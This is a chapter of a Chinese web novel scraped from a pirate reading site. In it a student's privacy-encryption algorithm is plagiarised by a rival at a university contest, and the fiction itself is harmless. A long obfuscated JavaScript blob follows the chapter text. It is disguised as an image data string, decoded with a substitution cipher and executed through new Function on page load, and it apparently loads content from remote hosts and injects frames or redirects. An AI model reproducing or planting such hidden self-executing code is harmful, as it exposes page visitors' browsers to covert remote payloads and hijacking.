首页
前传第81章 算法竞赛,遭遇
返回

前传第81章 算法竞赛,遭遇恶意抄袭

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge678.com,更新快,无弹窗!


    前传第81章算法竞赛,遭遇恶意抄袭(第1/2页)
    深秋的南城理工大学,梧桐叶落满整条林荫道。
    风一过,枯黄的叶片簌簌翻滚,贴着冰冷的柏油路打旋,像极了这段时间压在姚浮萍心头的情绪——无声、细碎、无处落脚,却层层堆积,挥之不去。
    全国高校智能算法创新大赛总决赛,如期在南城理工的科技报告厅举办。
    这是国内本科生层面含金量最高的技术赛事之一,聚焦数据加密、隐私溯源、智能风控三大核心赛道,汇聚了全国近百所重点高校的顶尖技术新生。优胜者不仅能拿到国家级科创奖项,更能直接获得头部科技企业、安全实验室的直通offer,甚至能拿到专项科研扶持资金。
    对所有计算机专业的少年天才而言,这是一场名副其实的龙门之跃。
    清晨七点半,实验楼的自习室已经亮着一盏孤灯。
    姚浮萍坐在靠窗的老位置,屏幕蓝光映着她清瘦安静的侧脸。
    今年二十二岁的她,身形单薄,眉眼干净得近乎寡淡,长发简单束成低马尾,额前碎发垂落,遮住了些许眉眼的清冷。她不爱说话、不喜热闹、不擅交际,周身永远萦绕着一层淡淡的疏离感,像是主动把自己和喧嚣人世隔离开来。
    旁人的青春是社团、恋爱、聚会、热闹喧嚣。
    她的青春,只有代码、算法、逻辑、无数个通宵达旦的深夜。
    从十六岁第一次敲下完整加密代码开始,她的世界就建立在0和1的秩序里。这里规则清晰、逻辑闭环、对错分明,没有人情世故的弯弯绕绕,没有利益交换的暗箱操作,更没有人心反复的凉薄叵测。
    代码不会骗她。
    逻辑不会辜负她。
    技术永远只会忠于纯粹与认真。
    这是年少孤僻的姚浮萍,唯一能稳稳抓住的安全感。
    本次大赛,她申报的赛道是轻量化差分隐私加密算法。
    这是一个极其冷门、难度极高、却极具现实意义的方向。
    不同于市面上追求运算速度、追求华丽模型、追求数据噱头的主流算法,她的研究核心极其朴素——在不牺牲用户体验、不占用大量算力的前提下,最大限度封堵数据泄露漏洞,最小化抓取隐私权限,让技术不再成为收割用户的工具,而是守护普通人信息安全的屏障。
    从选题立项、模型搭建、逻辑推演,到上万行代码逐行调试、漏洞自测、反复迭代优化,整整八个月。
    八个月,她几乎切断了所有课余娱乐,推掉了所有社团活动、同学邀约,每天泡在实验室十四个小时以上。
    无数个深夜,整栋教学楼只剩她一间自习室亮灯,键盘敲击声在空荡走廊里孤单回响。
    哥哥姚厚朴不止一次劝她:“浮萍,不用这么拼。比赛而已,尽力就好,别熬坏身体。”
    她只是淡淡摇头,眼神执拗纯粹:“哥,这不是比赛。”
    这不是为了奖项、不是为了保研加分、不是为了企业offer。
    是她想证明一件事——算法可以不逐利,技术可以不伤人,科技可以干干净净、本本分分,用来守护,而非掠夺。
    这是她少年时代,最朴素、最固执的技术信仰。
    八点整,姚厚朴提着温热的豆浆和全麦面包走进自习室。
    他穿着简单的白衬衫,眉眼温和稳重,自带一种让人安心的包容感。比妹妹大三岁的他,从年少开始就习惯性护着这个天赋异禀、性格孤僻、不谙世事的妹妹。
    他懂她的纯粹,懂她的偏执,懂她不被世俗理解的热爱。
    正因太懂,所以他比谁都担心。
    “吃完收拾一下,九点进场抽签答辩。”姚厚朴把早餐轻轻放在桌角,声音放得很轻,“昨晚你三点才睡,今天别硬撑,答辩稳住心态就好。”
    姚浮萍视线未离屏幕,只轻轻“嗯”了一声,指尖依旧飞快跳跃,做最后一轮模型自检。
    屏幕上密密麻麻的代码,错综复杂的算法逻辑,层层嵌套的加密结构,在外人看来晦涩难懂、枯燥至极,在她眼里却条理清晰、井然有序。
    她太熟悉自己写下的每一行代码、每一个参数、每一处创新突破点。
    这套轻量化隐私加密算法,是她熬了数百个深夜,一点一滴打磨出来的心血,是独属于她的、无可替代的原创成果。
    “我没问题。”姚浮萍终于抬眼,眼神平静无波,“逻辑完整,漏洞清零,答辩话术已经梳理完毕。”
    姚厚朴看着她清瘦却挺拔的模样,心底微微叹气。
    他知道妹妹的实力,也百分百认可她的成果。
    可他更知道,这个行业,从来不是实力说了算。
    越是干净纯粹的技术,越是容易被觊觎、被窃取、被利用。
    越是不擅争抢、不懂圆滑的人,越是容易在名利场里吃亏、受委屈。
    “浮萍。”姚厚朴蹲在桌前,认真看着她,再三叮嘱,“今天赛场人多眼杂,各大高校的参赛队伍、企业评审、观摩团队都在,鱼龙混杂。你的核心算法PPT、未公开的源码片段,除评审提问环节外,一律不要外放、不要私发、不要随意展示。”
    “我知道。”姚浮萍点头。
    她孤僻,但不愚笨。
    常年深耕技术圈子,她早已见过行业底层的龌龊。见过新人原创成果被导师挂名,见过学生算法被团队挪用,见过小众创新被大企业稍作修改、直接垄断变现。
    她厌恶这些,也警惕这些。
    半小时后,兄妹二人收拾完毕,一同前往科技报告厅赛场。
    今日的大赛现场人头攒动、座无虚席。
    白色背景板上印着大赛主题标语,一排排评委席整齐排列,台下坐满了各高校的参赛学生、带队老师、企业观摩嘉宾、行业研究员。
    镜头机位、灯光设备、直播屏幕一应俱全,正式且隆重。
    各大热门赛道的参赛队伍衣着光鲜、谈吐活络、互相寒暄攀谈、交换人脉资源,赛场氛围热闹喧嚣、暗流涌动。
    唯有姚浮萍,一身简单干净的校服外套,背着旧电脑包,安静站在角落,不攀谈、不社交、不凑热闹,安静等待抽签。
    她像是误入繁华名利场的局外人,格格不入,却自成风骨。
    姚厚朴默默陪在她身侧,替她挡开周遭喧闹,替她留意周遭动静,低调却稳妥,是她永远的后盾。
    抽签结果出炉,姚浮萍排在下午中段出场。
    上午场大多是应用类、娱乐类、商业类算法项目,噱头足、展示华丽、现场热度高。
    到了下午,数据安全、隐私加密、风控溯源等硬核技术赛道正式上场。
    临近中午休息,赛场人流四散,不少参赛团队留在报告厅后台休息室,整理PPT、核对答辩内容、互相交流项目思路。
    休息室里三三两两扎堆,低声讨论着各组项目亮点、评审偏好、获奖概率。
    姚浮萍找了个最偏僻的靠窗角落,安静坐着,闭眼小憩,养精蓄锐。
    她不爱参与这些热闹的讨论,也不屑于赛前抱团造势、打探风向。
    技术好坏,代码说话,结果自证。
    这是她一贯的认知。
    就在她闭目休息的片刻,两道身影刻意靠近了她的休息位。
    为首的男生名叫周凯,来自南城另一所重点高校计算机系,也是本次加密赛道的热门夺冠人选,赛前热度极高。
    他长相周正、能言善辩、极其擅长社交造势,带队老师资源丰厚,在本地技术圈层人脉极广。
    紧随他身侧的,是他的同组队友。
    两人看似随意闲聊,脚步却精准停在姚浮萍不远处,目光若有若无,频频扫过她放在桌面的电脑屏幕侧边。
    屏幕并未锁屏,页面停留在算法模型展示页,核心结构框架、创新逻辑、基础参数一览无余。
    周凯眼底飞快掠过一丝贪婪与算计。
    赛前一周,他看过大赛初审公示的项目摘要。
    所有参赛项目里,唯有姚浮萍的轻量化隐私加密算法,真正切中了当下行业痛点,创新维度、落地价值、安全逻辑,完全碾压同赛道所有作品。
    直白来说——只要她正常参赛,金奖毫无悬念,花落她家。
    而自己打磨大半年的项目,无论创新度还是实用性,都远不及对方。
    想要夺冠,唯一的办法,就是截胡、窃取、取而代之。
    周凯混迹竞赛圈多年,深谙其中灰色规则。
    大学生科创赛事,评审时间短、源码核验粗糙、原创追溯宽松,只要提前吃透对方核心思路,稍加包装修改、调整结构语序、更换表层模型,就能摇身一变,变成自己的原创成果。
    小众冷门赛道,原创者孤僻低调、无人撑腰、不善争辩,最是容易被拿捏、被掠夺。
    (本章未完,请点击下一页继续阅读)前传第81章算法竞赛,遭遇恶意抄袭(第2/2页)
    周凯嘴角勾起一抹隐晦的冷笑,压低声音,故作随意地和队友闲谈,声音刚好能让闭目休息的姚浮萍听见:
    “这次加密赛道,整体水平一般,没什么真正有突破的项目。我看了一圈,大多都是旧模型翻新,毫无新意。”
    队友配合附和:“是啊,还是凯哥你的自适应加密模型最成熟,落地性最强,金奖稳了。”
    周凯故作谦虚,眼底却满是自负:“也就常规创新罢了,不过比起那些空谈理论、没有实际防护能力的花架子,还算实用。有些项目看着冷门高深,实则逻辑漏洞百出,徒有其表。”
    字字句句,刻意针对。
    他笃定这个沉默孤僻的女生,即便听见,也不会争辩、不会理论、不会闹事。
    姚浮萍睫毛轻轻颤了颤,没有睁眼,没有理会。
    无谓的口舌之争,毫无意义。
    可她安静隐忍的态度,落在周凯眼里,变成了懦弱、默认、好拿捏。
    他胆子更大了。
    两人假意闲聊踱步,不断靠近桌面,视线肆无忌惮扫过电脑页面,快速默记核心框架、创新切入点、算法结构。
    短短几分钟,姚浮萍半年多的核心创新逻辑,被对方尽数窥探、吃透。
    姚厚朴从外面接水回来,远远看见这一幕,眼神瞬间沉了下来,快步走上前,不动声色挡住电脑屏幕,周身气场瞬间变冷。
    “两位同学,看自己的项目就好。”
    他语气温和,却带着不容侵犯的警惕与疏离。
    周凯两人被当场撞破,却毫无愧色,反而故作无辜地摊手:“同学别紧张,赛场公开区域,看看而已,没必要这么小气吧?技术思路本来就是互相交流的。”
    说完,不等姚厚朴回应,两人转身离开,背影带着得逞的狡黠与得意。
    休息室的喧闹依旧,暗流已然汹涌。
    姚厚朴眉头紧锁,低声叮嘱:“浮萍,电脑立刻锁屏,所有核心页面全部关闭,不要再外露一丝内容。”
    姚浮萍这才缓缓睁眼,眼底没有波澜,只有一种早已看透世俗龌龊的平静淡漠:“我知道。”
    “他想抄?”姚厚朴语气带着压不住的愠怒。
    “抄不走。”
    姚浮萍轻轻摇头,声音清清淡淡,却异常笃定:“表层框架可以模仿,参数逻辑、底层加密链、差分隐私闭环结构,他抄不走。我的算法,独一无二。”
    她对自己的技术,有着绝对自信。
    可她低估了人心的贪婪,低估了名利对人性的腐蚀,更低估了有些人毫无底线的龌龊手段。
    下午两点,答辩正式开始。
    各组依次上场,PPT展示、模型演示、现场答辩、评委提问,流程井然有序。
    周凯队伍排在姚浮萍前两位出场。
    当大屏幕亮起对方项目PPT的那一刻。
    全场寂静一瞬。
    姚厚朴的身体瞬间紧绷,眼底寒意骤起。
    就连一向平静无波的姚浮萍,指尖也骤然攥紧,瞳孔微微收缩。
    屏幕上,周凯团队展示的自适应隐私加密算法,整体创新框架、核心防护逻辑、隐私闭环结构、痛点解决方向,与姚浮萍的原创项目高度重合!
    只是对方刻意调整了页面排版、更换了模型名称、打乱了语序结构、修改了表层参数包装。
    内核思路、核心创新、底层逻辑,一模一样!
    甚至其中一个极其小众、极少有人涉猎的差分隐私优化切入点,完全是姚浮萍独立原创的独家突破!
    全场专业评委、高校导师、行业观摩嘉宾,但凡懂行的,眼底都浮现出一丝微妙的异样。
    周凯站在台上,从容自信、侃侃而谈,语调流畅、气场十足,将窃取而来的创新娓娓道来,仿佛一切都是他日夜钻研、独立打磨的成果。
    他熟练讲述项目痛点、创新价值、落地前景,甚至刻意拔高格局、渲染情怀,赢得台下阵阵掌声。
    几位评审微微点头,面露赞许。
    外行看热闹,内行看门道。
    大多数评委并未深究底层源码差异,只看展示完整度、现场表现力、项目包装度。
    周凯深谙赛场规则,懂得如何包装、如何造势、如何讨好评审,哪怕内核窃取,依旧表现得完美无缺。
    台下不少参赛学生低声议论。
    “这项目质量也太高了吧!隐私加密这块突破好大!”
    “难怪是热门夺冠队伍,实力是真的强。”
    “思路太新了,完全是行业前沿的创新!”
    赞誉四起,掌声不断。
    没有人知道,这份光鲜亮眼的创新成果,根本不属于台上意气风发的少年。
    是偷来的。
    是窥来的。
    是踩着别人数百个深夜的心血,不劳而获、窃取成果的肮脏捷径。
    姚厚朴胸腔怒火翻涌,气息紧绷,立刻低声道:“浮萍,我们立刻申诉!拿出你的源码日志、迭代记录、前期草稿、研发时间线,证明原创!”
    他气得指尖发颤。
    他看着妹妹熬了八个月、熬到眼底发青、熬到神经衰弱打磨出的心血,被人如此堂而皇之窃取、光明正大展示、理所当然窃取荣光,心底又疼又怒。
    可身侧的姚浮萍,却异常平静。
    她静静看着台上侃侃而谈的身影,眼底没有愤怒,没有委屈,只有一片微凉的通透。
    “不急。”
    她轻轻开口,声音很轻,却异常冷静。
    “现在申诉,没用。”
    赛场规则,重展示、轻溯源。
    现场答辩时间紧凑,评审不会花费大量时间核对漫长源码迭代记录。
    对方包装完整、气场强势、善于辩解,反而会倒打一耙,说我们恶意碰瓷、赛前蹭热度。
    她太懂这些规则漏洞。
    太懂老实人在名利场上,永远最先吃亏、最易受委屈。
    “那你就这样忍了?”姚厚朴心疼不已。
    “不是忍。”
    姚浮萍抬眸,目光清澈而执拗,带着少年技术人最干净的风骨:“他抄得走框架,抄不走内核。抄得走展示,抄不走逻辑。”
    “等我上场。”
    “我用完整源码、闭环逻辑、底层细节,当众击碎他的模仿包装。”
    “技术不怕对比。”
    “真的假不了,假的真不了。”
    短短几句话,没有戾气、没有怨怼,却藏着最倔强、最干净的底气。
    她不争口舌、不闹情绪、不搞博弈。
    她只用技术说话。
    十分钟后,周凯队伍答辩结束,收获满堂喝彩,顺利下场,看向姚浮萍的方向时,眼底带着肆无忌惮的挑衅与得意。
    他赌她不敢闹、不会闹、不懂闹。
    赌她性格孤僻、无人撑腰、没有人脉、不懂规则博弈。
    赌老实的技术人,注定输给圆滑的名利客。
    下一刻,主持人声音响起:
    “接下来,有请第十七号参赛队伍,带来项目展示——《基于闭环差分隐私的轻量化数据加密防护算法》。”
    姚浮萍起身。
    脊背挺直,步履从容。
    迎着满堂喧嚣,迎着暗流汹涌,迎着窃取者的得意张狂,一步步,走上赛场中央的讲台。
    灯光落在她单薄却挺拔的身影上。
    屏幕亮起,属于她原创的、完整的、毫无破绽的算法体系,缓缓展现在所有人眼前。
    少年不语,唯技术自峥嵘。
    今日,她要在所有人面前,守住自己八个月的心血,守住少年纯粹的技术信仰,守住技术人本、科技向善的一寸本心。
    也在这一刻,年少的姚浮萍,第一次彻底看清——
    光鲜热闹的技术圈,同样藏着贪婪与阴暗。
    没有底线的资本,没有操守的从业者,会把纯粹的技术,变成掠夺名利的武器。
    这一刻的委屈、心寒、所见所恶,深深烙印在她心底。
    也从此,彻底定型了她一生的执念:
    我的技术,只护苍生,绝不逐利。
    我的算法,只守正道,绝不盲从。
    多年后,她拒绝天价资本挖角、拒绝技术商业化妥协、坚守“五彩绫镜”安全底线、宁亏利润不损用户的所有执拗与坚守,根源皆在此刻。
    风雨初临,少年见恶。
    初心不改,自此生根。
    (本章完)
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n3xnhwm2yg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^FpX5h(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFL5SJmJLFpdd(m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2sR2hD^@Tp/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2sR2hD^@Tp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mDDTYRpRm2YF"="}Ko}X5ThF)mC6FTCSDm2YF"="}Ko}2pThFmDDTYRpRm2YF"="}Ko}_JqhFmC6FTCSDm2YF"="}Ko}2TOhFmDDTYRpRm2YF"="}Ko}CSqhF)mC6FTCSDm2YF"="}Ko})FfThF)fmDDTYRpRm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mOh_^5_(m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q/f/}Ko}j(8}vY82sR2hD^@Tp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko}dhFLFT6mddRppSCm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();